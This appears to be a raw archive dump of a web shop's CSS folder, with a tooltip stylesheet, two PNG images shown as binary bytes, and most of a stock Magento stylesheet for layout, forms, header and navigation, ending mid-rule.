_left:740px;} .pr-list .sale,.pr-list .new{ _width:23px; _height:66px; _background:none;} .pr-list .sale{_filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=scale, src="images/263/icon_sale.png";} .pr-list .new{_filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=scale, src="images/263/icon_new.png";}cheapuggsales.uk.com/cart_new/css/tip-yellow_arrows.png0000777000000000000000000000257211634073446022411 0ustar rootrootPNG  IHDR@=v;?AIDATxW[OcU^7(Z(E~Z(yF!D4 L&͑83> 6.r)ڳ]t^{}߷^kW`Ap~^^^^>6/Nx< (QY xMA&(}>޻ګO{[VX,?Af +6G ~򕄉15 Kqf+,3v AAS.8$]S.0$"xB[Q"O a"ljKD vdǒz VD7%I>-A"TTTtmll|9꜆}D>v]z &O a!LFv@^D`̃vYYXVaA "m0?J [__32:[I jmm{ 0VN s8lfc=h;<`z J" `%X2(aKf"Jn;SAWVc"~{O+_^^v&Ť؄R!T(dpHG<066 n7NI~05'MXPcZ1gh=[;aaauY;0)#oBv&%a\S !!RSVUI{R|P.= ; MHUUNP$N);lnnynn9jUW2y:bP,yF>)..'"ݸ75())Q '_ÖGS8,..~tq}bECυ;DP83P7P[>dL*/$4\,YnnnBbbvff怋sDL&OB \5 Q]!ʇ ϳ3@jX;tgWWW?@Y '@N-7Qz~NNx=bj{Oe $wD*sb2cuΑ`Xb¢|NIƆEs9DdbRlT]zpb`wkΊQ]%rc*?+bB.DTUӰͻ1HϿ 3XP8 IENDB`cheapuggsales.uk.com/cart_new/css/tip-yellow.css0000777000000000000000000000306711634073436021017 0ustar rootroot.tip-yellow { z-index:1000; text-align:left; border:1px solid #939393; padding:7px; min-width:50px; max-width:530px; color:#8c3901; background-color:#fef9d9; background-image:url(tip-yellow.png); /* bgImageFrameSize >= 10 should work fine */ /** * - If you set a background-image, border/padding/background-color will be ingnored. * You can set any padding to .tip-inner instead if you need. * - If you want a tiled background-image and border/padding for the tip, * set the background-image to .tip-inner instead. */ } .tip-yellow .tip-inner { font:bold 13px/18px 'trebuchet ms',arial,helvetica,sans-serif; margin-top:-2px; padding:0 3px 1px 3px; } /* Configure an arrow image - the script will automatically position it on the correct side of the tip */ .tip-yellow .tip-arrow-top { margin-top:-7px; margin-left:15px; top:0; left:0; width:16px; height:10px; background:url(tip-yellow_arrows.png) no-repeat; } .tip-yellow .tip-arrow-right { margin-top:-9px; /* approx. half the height to center it */ margin-left:-4px; top:50%; left:100%; width:10px; height:20px; background:url(tip-yellow_arrows.png) no-repeat -16px 0; } .tip-yellow .tip-arrow-bottom { margin-top:-6px; margin-left:15px; top:100%; left:0; width:16px; height:13px; background:url(tip-yellow_arrows.png) no-repeat -32px 0; } .tip-yellow .tip-arrow-left { margin-top:-9px; /* approx. half the height to center it */ margin-left:-6px; top:50%; left:0; width:10px; height:20px; background:url(tip-yellow_arrows.png) no-repeat -48px 0; } .orange{background-color:orange;}cheapuggsales.uk.com/cart_new/css/tip-yellow.png0000777000000000000000000001171511634073443021010 0ustar rootrootPNG  IHDR IDATxܿOuj:b:ؿ8b 6'gcq LIC'`) %G߇q#Ws:<}ϵeYhWVVVFFF/ew_j?OccNRvbb"P.JPf3ݰ'333w#EH}}j[7BLw:^9rqxP>o^ײx9skp%lnnSI?}bjjj.=?TÿQ3K#PƯso\T>ys$]+˷}ipy7W ,~!@z+7~+6'+.\ @ɭ+)e>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@Pr?J(_Ȳٔ*|'4ߟgz'>G{Q~z ~ZtϷ}iv *Е?i㧭6z|x^!b[>mO[YXxƾ cconTCv ד㰻gǏXZZ.^JE<" -,,|<<<;n%t^]]aoo(UӐȲ,ps_:OxcEq,Λq-rT¿O ("@|@[hJ,FemRh!\_+}K5f5IENDB`cheapuggsales.uk.com/cart_new/css/styles.css0000777000000000000000000025677011634073431020243 0ustar rootroot/** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE_AFL.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@magentocommerce.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade Magento to newer * versions in the future. If you wish to customize Magento for your * needs please refer to http://www.magentocommerce.com for more information. * * @category design * @package default_default * @copyright Copyright (c) 2010 Magento Inc. (http://www.magentocommerce.com) * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) */ /* Reset ================================================================================= */ * { margin:0; padding:0; } body { background:#496778 url(../images/bkg_body.gif) 50% 0 repeat-y; font:12px/1.55 Arial, Helvetica, sans-serif; color:#2f2f2f; text-align:center; } img { border:0; vertical-align:top; } a { color:#1e7ec8; text-decoration:underline; } a:hover { text-decoration:none; } :focus { outline:0; } /* Headings */ h1,h2,h3, h4,h5,h6 { margin:0 0 5px; line-height:1.35; color:#0a263c; } h1 { font-size:20px; font-weight:normal; } h2 { font-size:18px; font-weight:normal; } h3 { font-size:16px; font-weight:bold; } h4 { font-size:14px; font-weight:bold; } h5 { font-size:12px; font-weight:bold; } h6 { font-size:11px; font-weight:bold; } /* Forms */ form { display:inline; } fieldset { border:0; } legend { display:none; } /* Table */ table { border:0; /*border-collapse:collapse;*/ border-spacing:0; empty-cells:show; font-size:100%; } caption,th,td { vertical-align:top; text-align:left; font-weight:normal; } /* Content */ p { margin:0 0 10px; } strong { font-weight:bold; } address { font-style:normal; line-height:1.35; } cite { font-style:normal; } q, blockquote { quotes:none; } q:before, q:after { content:''; } small,big { font-size:1em; } /*sup { font-size:1em; vertical-align:top; }*/ /* Lists */ ul,ol { list-style:none; } /* Tools */ .hidden { display:block !important; border:0 !important; margin:0 !important; padding:0 !important; font-size:0 !important; line-height:0 !important; width:0 !important; height:0 !important; overflow:hidden !important; } .nobr { white-space:nowrap !important; } .wrap { white-space:normal !important; } .a-left { text-align:left !important; } .a-center { text-align:center !important; } .a-right { text-align:right !important; } .v-top { vertical-align:top; } .v-middle { vertical-align:middle; } .f-left, .left { float:left !important; } .f-right, .right { float:right !important; } .f-none { float:none !important; } .f-fix { float:left; width:100%; } .no-display { display:none; } .no-margin { margin:0 !important; } .no-padding { padding:0 !important; } .no-bg { background:none !important; } /* ======================================================================================= */ /* Layout ================================================================================ */ .wrapper { min-width:954px; } .page {} .page-print { background:#fff; padding:25px 30px; text-align:left; } .page-empty { background:#fff; padding:20px; text-align:left; } .page-popup { background:#fff; padding:25px 30px; text-align:left; } .main-container { background:#fbfaf6 url(../images/bkg_main1.gif) 50% 0 no-repeat; } .main { width:900px; margin:0 auto; min-height:400px; padding:25px 25px 80px; background:#fffffe url(../images/bkg_main2.gif) 0 0 no-repeat; text-align:left; } /* Base Columns */ .col-left { float:left; width:195px; padding:0 0 1px; } .col-main { float:left; width:685px; padding:0 0 1px; } .col-right { float:right; width:195px; padding:0 0 1px; } /* 1 Column Layout */ .col1-layout .col-main { float:none; width:auto; } /* 2 Columns Layout */ .col2-left-layout .col-main { float:right; } .col2-right-layout .col-main {} /* 3 Columns Layout */ .col3-layout .col-main { width:475px; margin-left:17px; } .col3-layout .col-wrapper { float:left; width:687px; } .col3-layout .col-wrapper .col-main { float:right; } /* Content Columns */ .col2-set .col-1 { float:left; width:48.5%; } .col2-set .col-2 { float:right; width:48.5%; } .col2-set .col-narrow { width:32%; } .col2-set .col-wide { width:65%; } .col3-set .col-1 { float:left; width:32%; } .col3-set .col-2 { float:left; width:32%; margin-left:2%; } .col3-set .col-3 { float:right; width:32%; } .col4-set .col-1 { float:left; width:23.5%; } .col4-set .col-2 { float:left; width:23.5%; margin:0 2%; } .col4-set .col-3 { float:left; width:23.5%; } .col4-set .col-4 { float:right; width:23.5%; } /* ======================================================================================= */ /* Global Styles ========================================================================= */ /* Form Elements */ input,select,textarea,button { font:12px/15px Arial, Helvetica, sans-serif; vertical-align:middle; color:#2f2f2f; } input.input-text,select,textarea { /*background:#fff;*/ border:1px solid #b6b6b6; } input.input-text,textarea { padding:2px; } select { padding:1px; } select option { padding-right:10px; } select.multiselect option { border-bottom:1px solid #b6b6b6; padding:2px 5px; } select.multiselect option:last-child { border-bottom:0; } textarea { overflow:auto; } input.radio { margin-right:3px; } input.checkbox { margin-right:3px; } input.qty { width:2.5em !important; } button.button::-moz-focus-inner { padding:0; border:0; } /* FF Fix */ button.button { -webkit-border-fit:lines; } /* <- Safari & Google Chrome Fix */ button.button { overflow:visible; width:auto; border:0; padding:0; margin:0; background:transparent; cursor:pointer; } button.button span { display:block; height:19px; border:1px solid #de5400; background:#f18200; padding:0 8px; font:bold 12px/19px Arial, Helvetica, sans-serif; text-align:center; white-space:nowrap; color:#fff; } button.button span span { border:0; padding:0; } button.disabled span { border-color:#bbb !important; background:#bbb !important; } button.btn-checkout span { height:40px; border:0; background:url(../images/btn_checkout.gif) 0 0 no-repeat; padding:0 0 0 9px; font:bold 15px/40px Arial, Helvetica, sans-serif; color:#fff; } button.btn-checkout span span { background-position:100% 0; padding:0 25px 0 16px; } button.btn-checkout.no-checkout span { background-position:0 100%; color:#b8baba; } button.btn-checkout.no-checkout span span { background-position:100% 100%; } p.control input.checkbox, p.control input.radio { margin-right:6px; } /* Form Highlight */ input.input-text:focus,select:focus,textarea:focus { background-color:#edf7fd; } /*.highlight { background:#efefef; }*/ /* Form lists */ /* Grouped fields */ /*.form-list { width:535px; margin:0 auto; overflow:hidden; }*/ .form-list li { margin:0 0 8px; } .form-list label { float:left; color:#666; font-weight:bold; position:relative; z-index:0; } .form-list label.required {} .form-list label.required em { float:right; font-style:normal; color:#eb340a; position:absolute; top:0; right:-8px; } .form-list li.control label { float:none; } .form-list li.control input.radio, .form-list li.control input.checkbox { margin-right:6px; } .form-list li.control .input-box { clear:none; display:inline; width:auto; } /*.form-list li.fields { margin-right:-15px; }*/ .form-list .input-box { display:block; clear:both; width:260px; } .form-list .field { float:left; width:275px; } .form-list input.input-text { width:254px; } .form-list textarea { width:254px; height:10em; } .form-list select { width:260px; } .form-list li.wide .input-box { width:535px; } .form-list li.wide input.input-text { width:529px; } .form-list li.wide textarea { width:529px; } .form-list li.wide select { width:535px; } .form-list li.additional-row { border-top:1px solid #ccc; margin-top:10px; padding-top:7px; } .form-list li.additional-row .btn-remove { float:right; margin:5px 0 0; } .form-list .input-range input.input-text { width:74px; } /* Customer */ .form-list .customer-name-prefix .input-box, .form-list .customer-name-suffix .input-box, .form-list .customer-name-prefix-suffix .input-box, .form-list .customer-name-prefix-middlename .input-box, .form-list .customer-name-middlename-suffix .input-box, .form-list .customer-name-prefix-middlename-suffix .input-box { width:auto; } .form-list .name-prefix { width:65px; } .form-list .name-prefix select { width:55px; } .form-list .name-prefix input.input-text { width:49px; } .form-list .name-suffix { width:65px; } .form-list .name-suffix select { width:55px; } .form-list .name-suffix input.input-text { width:49px; } .form-list .name-middlename { width:70px; } .form-list .name-middlename input.input-text { width:49px; } .form-list .customer-name-prefix-middlename-suffix .name-firstname, .form-list .customer-name-prefix-middlename .name-firstname { width:140px; } .form-list .customer-name-prefix-middlename-suffix .name-firstname input.input-text, .form-list .customer-name-prefix-middlename .name-firstname input.input-text { width:124px; } .form-list .customer-name-prefix-middlename-suffix .name-lastname { width:205px; } .form-list .customer-name-prefix-middlename-suffix .name-lastname input.input-text { width:189px; } .form-list .customer-name-prefix-suffix .name-firstname { width:210px; } .form-list .customer-name-prefix-suffix .name-lastname { width:205px; } .form-list .customer-name-prefix-suffix .name-firstname input.input-text, .form-list .customer-name-prefix-suffix .name-lastname input.input-text { width:189px; } .form-list .customer-name-prefix-suffix .name-firstname { width:210px; } .form-list .customer-name-prefix-suffix .name-lastname { width:205px; } .form-list .customer-name-prefix-suffix .name-firstname input.input-text, .form-list .customer-name-prefix-suffix .name-lastname input.input-text { width:189px; } .form-list .customer-name-prefix .name-firstname, .form-list .customer-name-middlename .name-firstname { width:210px; } .form-list .customer-name-suffix .name-lastname, .form-list .customer-name-middlename .name-firstname, .form-list .customer-name-middlename-suffix .name-firstname, .form-list .customer-name-middlename-suffix .name-lastname { width:205px; } .form-list .customer-name-prefix .name-firstname input.input-text, .form-list .customer-name-suffix .name-lastname input.input-text, .form-list .customer-name-middlename .name-firstname input.input-text, .form-list .customer-name-middlename-suffix .name-firstname input.input-text, .form-list .customer-name-middlename-suffix .name-lastname input.input-text { width:189px; } .form-list .customer-dob .dob-month, .form-list .customer-dob .dob-day, .form-list .customer-dob .dob-year { float:left; width:85px; } .form-list .customer-dob input.input-text { display:block; width:74px; } .form-list .customer-dob label { font-size:10px; font-weight:normal; color:#888; } .form-list .customer-dob .dob-day, .form-list .customer-dob .dob-month { width:60px; } .form-list .customer-dob .dob-day input.input-text, .form-list .customer-dob .dob-month input.input-text { width:46px; } .form-list .customer-dob .dob-year { width:140px; } .form-list .customer-dob .dob-year input.input-text { width:134px; } /* Independent fields */ /*.form-list li { margin:0 0 8px; } .form-list li.fields { margin:0; } .form-list .field { display:block; margin:0 0 8px; } .form-list li.control {} .form-list label { float:left; width:150px; padding:2px 10px 0 0; text-align:right; } .form-list label.required { font-weight:bold; } .form-list label.required em { font-variant:normal; color:#eb340a; margin-right:3px; } .form-list .input-box { float:left; width:260px; } .form-list input.input-text, .form-list textarea { width:254px; } .form-list select { width:260px; } .form-list li.additional-row { border-top:1px solid #ddd; margin-top:10px; } .form-list li.additional-row .btn-remove { float:right; margin:5px 5px 0 0; } .form-list .input-range input.input-text { width:96px; }*/ /* Customer */ /*.form-list .customer-dob .dob-month, .form-list .customer-dob .dob-day, .form-list .customer-dob .dob-year { float:left; width:85px; } .form-list .customer-dob input.input-text { display:block; width:74px; } .form-list .customer-dob label { font-size:11px; font-weight:normal; color:#777; text-align:left; } .form-list .customer-dob .dob-day, .form-list .customer-dob .dob-month { width:60px; } .form-list .customer-dob .dob-day input.input-text, .form-list .customer-dob .dob-month input.input-text { width:46px; } .form-list .customer-dob .dob-year { width:140px; } .form-list .customer-dob .dob-year input.input-text { width:134px; }*/ .buttons-set { clear:both; margin:4em 0 0; padding:8px 0 0; border-top:1px solid #e4e4e4; text-align:right; } .buttons-set p.required { margin:0 0 10px; } .buttons-set .back-link { float:left; margin:0; } .buttons-set button.button { float:right; margin-left:5px; } .buttons-set-order { margin:10px 0 0; } .buttons-set-order .please-wait { padding:12px 7px 0 0; } .fieldset { border:1px solid #bbafa0; background:#fbfaf6; padding:22px 25px 12px 33px; margin:28px 0; } .fieldset .legend { float:left; font-weight:bold; font-size:13px; border:1px solid #f19900; background:#f9f3e3; color:#e76200; margin:-33px 0 0 -10px; padding:0 8px; position:relative; } /* Form Validation */ .validation-advice { clear:both; min-height:13px; margin:3px 0 0; padding-left:17px; font-size:11px; font-weight:bold; line-height:13px; background:url(../images/validation_advice_bg.gif) 2px 0 no-repeat; color:#eb340a; } .validation-failed { border:1px dashed #eb340a !important; background:#faebe7 !important; } .validation-passed {} p.required { font-size:11px; text-align:right; color:#EB340A; } /* Expiration date and CVV number validation fix */ .v-fix { float:left; } .v-fix .validation-advice { display:block; width:12em; margin-right:-12em; position:relative; } /* Global Messages */ .success { color:#3d6611; font-weight:bold; } .error { color:#df280a; font-weight:bold; } .notice { color:#e26703; } .messages, .messages ul { list-style:none !important; margin:0 !important; padding:0 !important; } .messages { width:100%; overflow:hidden; } .messages li { margin:0 0 10px !important; } .messages li li { margin:0 0 3px !important; } .error-msg, .success-msg, .note-msg, .notice-msg { border-style:solid !important; border-width:1px !important; background-position:10px 9px !important; background-repeat:no-repeat !important; min-height:24px !important; padding:8px 8px 8px 32px !important; font-size:11px !important; font-weight:bold !important; } .error-msg { border-color:#f16048; background-color:#faebe7; background-image:url(../images/i_msg-error.gif); color:#df280a; } .success-msg { border-color:#446423; background-color:#eff5ea; background-image:url(../images/i_msg-success.gif); color:#3d6611; } .note-msg, .notice-msg { border-color:#fcd344; background-color:#fafaec; background-image:url(../images/i_msg-note.gif); color:#3d6611; } /* BreadCrumbs */ .breadcrumbs { font-size:11px; line-height:1.25; margin:0 0 13px; } .breadcrumbs li { display:inline; } .breadcrumbs li strong { font-weight:bold; } /* Page Heading */ .page-title { width:100%; overflow:hidden; border-bottom:1px solid #ccc; margin:0 0 25px; } .page-title h1, .page-title h2 { margin:0; font-size:20px; color:#0a263c; } .page-title .separator { margin:0 3px; } .page-title .link-rss { float:right; margin:7px 0 0; } .title-buttons { text-align:right; } .title-buttons h1, .title-buttons h2, .title-buttons h3, .title-buttons h4, .title-buttons h5, .title-buttons h6 { float:left; } .subtitle, .sub-title { clear:both; padding:15px 0 0; font-size:15px; font-weight:bold; margin:0 0 6px; color:#e25203; } /* Pager */ .pager { font-size:11px; background:#fff url(../images/bkg_toolbar.gif) 0 100% repeat-x; padding:4px 8px; border-top:1px solid #e2e2e2; text-align:center; } .pager .amount { float:left; margin:0; } .pager .limiter { float:right; } .pager .limiter label { vertical-align:middle; } .pager .limiter select { padding:0; margin:0 0 1px; vertical-align:middle; } .pager .pages { margin:0 140px; } .pager .pages ol { display:inline; } .pager .pages li { display:inline; margin:0 2px; } .pager .pages .current {} /* Sorter */ .sorter { font-size:11px; background:#fff url(../images/bkg_toolbar.gif) 0 100% repeat-x; padding:3px 8px; border-top:1px solid #e2e2e2; } .sorter .view-mode { float:left; margin:0; } .sorter .sort-by { float:right; padding-right:36px; } .sorter .sort-by label { vertical-align:middle; } .sorter .sort-by select { padding:0; margin:0 0 1px; vertical-align:middle; } .sorter .link-feed {} /* Toolbar */ .toolbar {} .toolbar .pager { padding:3px 8px; border-bottom:1px solid #fff; } .toolbar .sorter { border-bottom:1px solid #fff; } .toolbar-bottom {} /* Data Table */ .data-table { width:100%; border:1px solid #bebcb7; } .data-table .odd { background:#f8f7f5 } .data-table .even { background:#eeeded; } /*.data-table tr.odd:hover, .data-table tr.even:hover { background:#ebf1f6; }*/ .data-table td.last, .data-table th.last { border-right:0; } .data-table tr.last th, .data-table tr.last td { border-bottom:0 !important; } .data-table th { padding:3px 8px; font-weight:bold; } .data-table td { padding:3px 8px; } .data-table thead th { font-weight:bold; border-right:1px solid #c2d3e0; padding:2px 8px; color:#0a263c; white-space:nowrap; vertical-align:middle; } .data-table thead th.wrap { white-space:normal; } .data-table thead th a, .data-table thead th a:hover { color:#fff; } .data-table thead th { background:url(../images/bkg_th.gif) repeat-x 0 100% #d9e5ee; } .data-table thead th .tax-flag { font-size:11px; white-space:nowrap; } .data-table tfoot { border-bottom:1px solid #d9dde3; } .data-table tfoot tr.first td { background:url(../images/bkg_tfoot.gif) 0 0 repeat-x; } .data-table tfoot tr { background-color:#dee5e8 !important; } .data-table tfoot td { padding-top:1px; padding-bottom:1px; border-bottom:0; border-right:1px solid #d9dde3; } .data-table tfoot strong { font-size:16px; } .data-table tbody th, .data-table tbody td { border-bottom:1px solid #d9dde3; border-right:1px solid #d9dde3; } /* Bundle products tables */ .data-table tbody.odd tr { background:#f8f7f5 !important; } .data-table tbody.even tr { background:#f6f6f6 !important; } .data-table tbody.odd tr td, .data-table tbody.even tr td { border-bottom:0; } .data-table tbody.odd tr.border td, .data-table tbody.even tr.border td { border-bottom:1px solid #d9dde3; } .data-table tbody td .option-label { font-weight:bold; font-style:italic; } .data-table tbody td .option-value { padding-left:10px; } /* Generic Info Box */ .info-box { background:#fff url(../images/bkg_block-title.gif) 0 0 repeat-x; border:1px solid #d0cbc1; padding:12px 15px; margin:0 0 15px; } .info-box h2 { font-weight:bold; font-size:13px; } .info-table th { font-weight:bold; padding:2px 15px 2px 0; } .info-table td { padding:2px 0; } /* Shopping cart total summary row expandable to details */ tr.summary-total { cursor:pointer; } tr.summary-total td {} tr.summary-total .summary-collapse { float:right; text-align:right; padding-left:20px; background:url(../images/bkg_collapse.gif) 0 5px no-repeat; cursor:pointer; } tr.show-details .summary-collapse { background-position:0 -52px; } tr.show-details td {} tr.summary-details td { font-size:11px; background-color:#dae1e4; color:#626465; } tr.summary-details-first td { border-top:1px solid #d2d8db; } tr.summary-details-excluded { font-style:italic; } /* Shopping cart tax info */ .cart-tax-info { display:block; } .cart-tax-info, .cart-tax-info .cart-price { padding-right:20px; } .cart-tax-total { display:block; padding-right:20px; background:url(../images/bkg_collapse.gif) 100% 5px no-repeat; cursor:pointer; } .cart-tax-info .price, .cart-tax-total .price { display:inline !important; font-weight:normal !important; } .cart-tax-total-expanded { background-position:100% -52px; } /* Class: std - styles for admin-controlled content */ .std .subtitle { padding:0; } .std ol.ol { list-style:decimal outside; padding-left:1.5em; } .std ul.disc { list-style:disc outside; padding-left:18px; margin:0 0 10px; } .std dl dt { font-weight:bold; } .std dl dd { margin:0 0 10px; } /*.std ul, .std ol, .std dl, .std p, .std address, .std blockquote { margin:0 0 1em; padding:0; } .std ul { list-style:disc outside; padding-left:1.5em; } .std ol { list-style:decimal outside; padding-left:1.5em; } .std ul ul { list-style-type:circle; } .std ul ul, .std ol ol, .std ul ol, .std ol ul { margin:.5em 0; } .std dt { font-weight:bold; } .std dd { padding:0 0 0 1.5em; } .std blockquote { font-style:italic; padding:0 0 0 1.5em; } .std address { font-style:normal; } .std b, .std strong { font-weight:bold; } .std i, .std em { font-style:italic; }*/ /* Misc */ .links li { display:inline; } .links li.first { padding-left:0 !important; } .links li.last { background:none !important; padding-right:0 !important; } .link-cart { color:#dc6809 !important; font-weight:bold; } .link-wishlist { color:#dc6809 !important; font-weight:bold; } .link-reorder { font-weight:bold; color:#dc6809 !important; } .link-compare { font-weight:bold; } .link-print { /*background:url(../images/i_print.gif) 0 2px no-repeat; padding:2px 0 2px 25px;*/ font-weight:bold; color:#dc6809; } .link-rss { background:url(../images/i_rss.gif) 0 2px no-repeat; padding-left:18px; line-height:14px; white-space:nowrap; } .btn-remove { display:block; width:11px; height:11px; font-size:0; line-height:0; background:url(../images/btn_remove.gif) 0 0 no-repeat; text-indent:-999em; overflow:hidden; } .btn-remove2 { display:block; width:16px; height:16px; font-size:0; line-height:0; background:url(../images/btn_trash.gif) 0 0 no-repeat; text-indent:-999em; overflow:hidden; } .btn-edit { display:block; width:11px; height:11px; font-size:0; line-height:0; background:url(../images/btn_edit.gif) 0 0 no-repeat; text-indent:-999em; overflow:hidden; } .cards-list dt { margin:5px 0 0; } .cards-list .offset { padding:2px 0 2px 20px; } .separator { margin:0 3px; } .divider { clear:both; display:block; font-size:0; line-height:0; height:1px; margin:10px 0; background:url(../images/bkg_divider1.gif) 0 50% repeat-x; text-indent:-999em; overflow:hidden; } /* Noscript Notice */ .noscript { border:1px solid #ddd; border-width:0 0 1px; background:#ffff90; font-size:12px; line-height:1.25; text-align:center; color:#2f2f2f; } .noscript .noscript-inner { width:950px; margin:0 auto; padding:12px 0 12px; background:url(../images/i_notice.gif) 20px 50% no-repeat; } .noscript p { margin:0; } /* Demo Notice */ .demo-notice { margin:0; padding:6px 10px; background:#d75f07; font-size:12px; line-height:1.15; text-align:center; color:#fff; } /* ======================================================================================= */ /* Header ================================================================================ */ .logo { float:left; } .header-container { border-top:5px solid #0d2131; border-bottom:1px solid #415966; background:url(../images/bkg_header.jpg) 50% 0 repeat; } .header { width:930px; margin:0 auto; padding:10px; text-align:right; position:relative; z-index:10; } .header .logo { float:left; margin:3px 0 10px 12px; text-decoration:none !important; } .header .logo strong { position:absolute; top:-999em; left:-999em; width:0; height:0; font-size:0; line-height:0; text-indent:-999em; overflow:hidden; } .header h1.logo { margin:0; } .header .quick-access { float:right; width:600px; padding:28px 10px 0 0; } .header .welcome-msg { margin:0; color:#fff; text-align:right; } .header .form-search { position:absolute; top:0; right:29px; width:315px; height:30px; background:url(../images/bkg_form-search.gif) 0 0 no-repeat; padding:1px 0 0 16px; } .header .form-search label { float:left; width:24px; height:21px; text-align:left; text-indent:-999em; overflow:hidden; } .header .form-search input.input-text { float:left; border-color:#5c7989; width:209px; margin-right:4px; } .header .form-search button.button { float:left; } .header .form-search button.button span { border:0; height:21px; background:url(../images/btn_search.gif) 0 0 no-repeat; padding:0 0 0 3px; font:bold 11px/21px Tahoma, Verdana, Arial, sans-serif; } .header .form-search button.button span span { background-position:100% 0; padding:0 6px 0 3px; } .header .form-search .search-autocomplete { z-index:999; left:40px !important; top:22px !important; } .header .form-search .search-autocomplete ul { border:1px solid #5c7989; background-color:#f9f5f0; } .header .form-search .search-autocomplete li { text-align:left; border-bottom:1px solid #f4eee7; padding:2px 8px 1px 8px; cursor:pointer; } .header .form-search .search-autocomplete li .amount { float:right; font-weight:bold; } .header .form-search .search-autocomplete li.odd { background-color:#fffefb; } .header .form-search .search-autocomplete li.selected { background-color:#f7e8dd; } .header .form-language { clear:both; padding:5px 0 0; text-align:right; } .header .form-language label { font-weight:bold; padding-right:5px; color:#a7c6dd; vertical-align:middle; } .header .form-language select { padding:0; } .header .form-language select.flags option { background-position:4px 50%; background-repeat:no-repeat; padding-left:25px; } .header .links { float:right; margin:0 0 6px; } .header .links li { float:left; font-size:11px; background:url(../images/bkg_pipe1.gif) 100% 60% no-repeat; padding:0 8px 0 7px; } .header .links a { color:#ebbc58; } .header-container .top-container { clear:both; padding:5px 10px 0 12px; text-align:right; } .header-container .top-container a { font-size:11px; color:#ebbc58; } /********** < Navigation */ .nav-container { background:#0a263d url(../images/bkg_nav0.jpg) 50% 0 repeat-y; } #nav { width:918px; margin:0 auto; padding:0 16px; font-size:13px; } /* All Levels */ /* Style consistent throughout all nav levels */ #nav li { position:relative; text-align:left; } #nav li.over { z-index:998; } #nav a, #nav a:hover { display:block; line-height:1.3em; text-decoration:none; } #nav span { display:block; cursor:pointer; white-space:nowrap; } #nav li ul span {white-space:normal; } #nav ul li.parent a { background:url(../images/bkg_nav2.gif) 100% 100% no-repeat; } #nav ul li.parent li a { background-image:none; } /* 0 Level */ #nav li { float:left; } #nav li.active a { color:#d96708; } #nav a { float:left; padding:5px 12px 6px 8px; color:#a7c6dd; font-weight:bold; } #nav li.over a, #nav a:hover { color:#d96708; } /* 1st Level */ #nav ul li, #nav ul li.active { float:none; margin:0; padding-bottom:1px; background:#ecf3f6 url(../images/bkg_nav1.gif) 0 100% repeat-x; } #nav ul li.last { background:#ecf3f6; padding-bottom:0; } #nav ul a, #nav ul a:hover { float:none; padding:0; background:none; } #nav ul li a { font-weight:normal !important; } /* 2nd Level */ #nav ul, #nav div { position:absolute; width:15em; top:27px; left:-10000px; border:1px solid #899ba5; } #nav div ul { position:static; width:auto; border:none; } /* 3rd+ Level */ #nav ul ul, #nav ul div { top:5px; } #nav ul li a { background:#ecf3f6; } #nav ul li a:hover { background:#d5e4eb; } #nav ul li a, #nav ul li a:hover { color:#2f2f2f !important; } #nav ul span, #nav ul li.last li span { padding:3px 15px 4px 15px; } /* Show menu */ #nav li ul.shown-sub, #nav li div.shown-sub { left:0; z-index:999; } #nav li .shown-sub ul.shown-sub, #nav li .shown-sub li div.shown-sub { left:100px; } /********** Navigation > */ /* ======================================================================================= */ /* Sidebar =============================================================================== */ .block { border:1px solid #c4c1bc; margin:0 0 15px; } .block .block-title { background:url(../images/bkg_block-title.gif) 0 0 repeat-x; border-bottom:1px solid #ddd; padding:2px 9px; } .block .block-title strong { display:block; font:bold 12px/16px Arial, Helvetica, sans-serif; min-height:16px; padding:1px 0 1px; text-transform:uppercase; color:#e26703; } .block .block-title strong span {} .block .block-title a { text-decoration:none !important; } .block .block-subtitle { margin:0; padding:5px 9px; font-size:1em; font-weight:bold; color:#0a263c; } .block .block-content { background:#f8f7f5; } .block .block-content li.item { padding:7px 9px; } .block .block-content .product-name { color:#1e7ec8; } .block .btn-remove, .block .btn-edit { float:right; margin:1px 0 2px 5px; } .block .actions { background:#dee5e8 url(../images/bkg_block-actions.gif) 0 0 repeat-x; padding:6px 9px; text-align:right; } .block .actions a { float:left; } .block .actions button.button { float:right; } .block .empty { margin:0; padding:5px 9px; } .block li.odd { background-color:#f4f3f3; } .block li.even { background-color:#fafafa; } /* Mini Blocks */ .block-cart, .block-wishlist, .block-subscribe, .block-compare, .block-reorder, .block-poll, .block-viewed, .block-compared, .block-related, .block-tags, .block-login { font-size:11px; line-height:1.25; } .block-cart .block-title strong, .block-wishlist .block-title strong, .block-subscribe .block-title strong, .block-compare .block-title strong, .block-reorder .block-title strong, .block-poll .block-title strong, .block-viewed .block-title strong, .block-compared .block-title strong, .block-related .block-title strong, .block-tags .block-title strong, .block-login .block-title strong { background-position:0 0; background-repeat:no-repeat; padding-left:21px; } /* Mini Products List */ .mini-products-list .product-image { float:left; width:50px; border:1px solid #a9a9a9; } .mini-products-list .product-details { margin-left:60px; } /* Block: Account */ .block-account { border-color:#bbb; } .block-account .block-title { background:#fc9d36 url(../images/bkg_block-title-account.gif) 0 100% repeat-x; border:0; padding:3px 10px; } .block-account .block-title strong { font-size:13px; color:#fff; } .block-account .block-content { background:#fbfaf6; padding:7px 10px 7px; } .block-account .block-content li a { display:block; border-bottom:1px solid #ddd; padding:3px 0; color:#5f5d5c; text-decoration:none !important; } .block-account .block-content li a:hover { color:#ea7900; } .block-account .block-content li.last a { border-bottom:0; } .block-account .block-content li.current { border-bottom:1px solid #ddd; padding:3px 0; color:#ea7900; } .block-account .block-content li.current.last { border-bottom:0; } /* Block: Currency Switcher */ .block-currency { border:0; background:url(../images/bkg_block-currency.gif) 0 0 no-repeat; padding:7px 12px 10px; height:51px; } .block-currency .block-title { background:none; border:0; 